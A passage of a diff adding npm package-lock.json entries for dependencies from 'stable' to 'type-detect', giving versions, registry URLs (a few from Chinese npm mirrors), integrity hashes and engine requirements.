+      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+    },
+    "node_modules/stable": {
+      "version": "0.1.8",
+      "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
+      "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==",
+      "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility"
+    },
+    "node_modules/stack-utils": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz",
+      "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==",
+      "dependencies": {
+        "escape-string-regexp": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/stack-utils/node_modules/escape-string-regexp": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+      "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/stackframe": {
+      "version": "1.3.4",
+      "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
+      "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw=="
+    },
+    "node_modules/statuses": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
+      "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/string_decoder": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+      "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+      "dependencies": {
+        "safe-buffer": "~5.1.0"
+      }
+    },
+    "node_modules/string-length": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+      "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "dependencies": {
+        "char-regex": "^1.0.2",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/string-natural-compare": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz",
+      "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw=="
+    },
+    "node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/string-width/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+    },
+    "node_modules/string.prototype.matchall": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz",
+      "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1",
+        "get-intrinsic": "^1.1.1",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "regexp.prototype.flags": "^1.4.1",
+        "side-channel": "^1.0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/string.prototype.trimend": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz",
+      "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/string.prototype.trimstart": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz",
+      "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/stringify-object": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
+      "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
+      "dependencies": {
+        "get-own-enumerable-property-symbols": "^3.0.0",
+        "is-obj": "^1.0.1",
+        "is-regexp": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-bom": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
+      "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/strip-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
+      "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/strip-final-newline": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
+      "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/strip-indent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.nlark.com/strip-indent/download/strip-indent-3.0.0.tgz?cache=0&sync_timestamp=1620053263051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-indent%2Fdownload%2Fstrip-indent-3.0.0.tgz",
+      "integrity": "sha1-wy4c7pQLazQyx3G8LFS8znPNMAE=",
+      "dependencies": {
+        "min-indent": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-json-comments": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+      "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/style-loader": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz",
+      "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==",
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/stylehacks": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz",
+      "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.nlark.com/supports-color/download/supports-color-7.2.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-7.2.0.tgz",
+      "integrity": "sha1-G33NyzK4E4gBs+R4umpRyqiWSNo=",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-color/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-4.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-4.0.0.tgz",
+      "integrity": "sha1-lEdx/ZyByBJlxNaUGGDaBrtZR5s=",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-hyperlinks": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
+      "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
+      "dependencies": {
+        "has-flag": "^4.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-hyperlinks/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-preserve-symlinks-flag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+      "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/svg-parser": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
+      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ=="
+    },
+    "node_modules/svgo": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
+      "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
+      "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.",
+      "dependencies": {
+        "chalk": "^2.4.1",
+        "coa": "^2.0.2",
+        "css-select": "^2.0.0",
+        "css-select-base-adapter": "^0.1.1",
+        "css-tree": "1.0.0-alpha.37",
+        "csso": "^4.0.2",
+        "js-yaml": "^3.13.1",
+        "mkdirp": "~0.5.1",
+        "object.values": "^1.1.0",
+        "sax": "~1.2.4",
+        "stable": "^0.1.8",
+        "unquote": "~1.1.1",
+        "util.promisify": "~1.0.0"
+      },
+      "bin": {
+        "svgo": "bin/svgo"
+      },
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/svgo/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/svgo/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/svgo/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/symbol-tree": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
+    },
+    "node_modules/tailwindcss": {
+      "version": "3.1.8",
+      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.1.8.tgz",
+      "integrity": "sha512-YSneUCZSFDYMwk+TGq8qYFdCA3yfBRdBlS7txSq0LUmzyeqRe3a8fBQzbz9M3WS/iFT4BNf/nmw9mEzrnSaC0g==",
+      "dependencies": {
+        "arg": "^5.0.2",
+        "chokidar": "^3.5.3",
+        "color-name": "^1.1.4",
+        "detective": "^5.2.1",
+        "didyoumean": "^1.2.2",
+        "dlv": "^1.1.3",
+        "fast-glob": "^3.2.11",
+        "glob-parent": "^6.0.2",
+        "is-glob": "^4.0.3",
+        "lilconfig": "^2.0.6",
+        "normalize-path": "^3.0.0",
+        "object-hash": "^3.0.0",
+        "picocolors": "^1.0.0",
+        "postcss": "^8.4.14",
+        "postcss-import": "^14.1.0",
+        "postcss-js": "^4.0.0",
+        "postcss-load-config": "^3.1.4",
+        "postcss-nested": "5.0.6",
+        "postcss-selector-parser": "^6.0.10",
+        "postcss-value-parser": "^4.2.0",
+        "quick-lru": "^5.1.1",
+        "resolve": "^1.22.1"
+      },
+      "bin": {
+        "tailwind": "lib/cli.js",
+        "tailwindcss": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=12.13.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.9"
+      }
+    },
+    "node_modules/tapable": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+      "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/temp-dir": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
+      "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/tempy": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
+      "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
+      "dependencies": {
+        "is-stream": "^2.0.0",
+        "temp-dir": "^2.0.0",
+        "type-fest": "^0.16.0",
+        "unique-string": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/tempy/node_modules/type-fest": {
+      "version": "0.16.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
+      "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/terminal-link": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
+      "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
+      "dependencies": {
+        "ansi-escapes": "^4.2.1",
+        "supports-hyperlinks": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/terser": {
+      "version": "5.15.0",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-5.15.0.tgz",
+      "integrity": "sha512-L1BJiXVmheAQQy+as0oF3Pwtlo4s3Wi1X2zNZ2NxOB4wx9bdS9Vk67XQENLFdLYGCK/Z2di53mTj/hBafR+dTA==",
+      "dependencies": {
+        "@jridgewell/source-map": "^0.3.2",
+        "acorn": "^8.5.0",
+        "commander": "^2.20.0",
+        "source-map-support": "~0.5.20"
+      },
+      "bin": {
+        "terser": "bin/terser"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/terser-webpack-plugin": {
+      "version": "5.3.6",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.6.tgz",
+      "integrity": "sha512-kfLFk+PoLUQIbLmB1+PZDMRSZS99Mp+/MHqDNmMA6tOItzRt+Npe3E+fsMs5mfcM0wCtrrdU387UnV+vnSffXQ==",
+      "dependencies": {
+        "@jridgewell/trace-mapping": "^0.3.14",
+        "jest-worker": "^27.4.5",
+        "schema-utils": "^3.1.1",
+        "serialize-javascript": "^6.0.0",
+        "terser": "^5.14.1"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.1.0"
+      },
+      "peerDependenciesMeta": {
+        "@swc/core": {
+          "optional": true
+        },
+        "esbuild": {
+          "optional": true
+        },
+        "uglify-js": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/terser/node_modules/commander": {
+      "version": "2.20.3",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+      "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+    },
+    "node_modules/test-exclude": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
+      "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+      "dependencies": {
+        "@istanbuljs/schema": "^0.1.2",
+        "glob": "^7.1.4",
+        "minimatch": "^3.0.4"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/text-table": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+    },
+    "node_modules/throat": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.1.tgz",
+      "integrity": "sha512-8hmiGIJMDlwjg7dlJ4yKGLK8EsYqKgPWbG3b4wjJddKNwc7N7Dpn08Df4szr/sZdMVeOstrdYSsqzX6BYbcB+w=="
+    },
+    "node_modules/thunky": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
+      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
+    },
+    "node_modules/tmpl": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
+      "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw=="
+    },
+    "node_modules/to-fast-properties": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
+      "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/to-regex-range": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+      "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "dependencies": {
+        "is-number": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=8.0"
+      }
+    },
+    "node_modules/toidentifier": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+      "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
+      "engines": {
+        "node": ">=0.6"
+      }
+    },
+    "node_modules/tough-cookie": {
+      "version": "4.1.3",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
+      "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+      "dependencies": {
+        "psl": "^1.1.33",
+        "punycode": "^2.1.1",
+        "universalify": "^0.2.0",
+        "url-parse": "^1.5.3"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/tough-cookie/node_modules/universalify": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
+      "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
+      "engines": {
+        "node": ">= 4.0.0"
+      }
+    },
+    "node_modules/tr46": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
+      "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
+      "dependencies": {
+        "punycode": "^2.1.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/tryer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz",
+      "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA=="
+    },
+    "node_modules/tsconfig-paths": {
+      "version": "3.14.1",
+      "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz",
+      "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==",
+      "dependencies": {
+        "@types/json5": "^0.0.29",
+        "json5": "^1.0.1",
+        "minimist": "^1.2.6",
+        "strip-bom": "^3.0.0"
+      }
+    },
+    "node_modules/tsconfig-paths/node_modules/json5": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
+      "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
+      "dependencies": {
+        "minimist": "^1.2.0"
+      },
+      "bin": {
+        "json5": "lib/cli.js"
+      }
+    },
+    "node_modules/tslib": {
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+    },
+    "node_modules/tsutils": {
+      "version": "3.21.0",
+      "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
+      "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
+      "dependencies": {
+        "tslib": "^1.8.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      },
+      "peerDependencies": {
+        "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta"
+      }
+    },
+    "node_modules/type-check": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+      "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+      "dependencies": {
+        "prelude-ls": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/type-detect": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
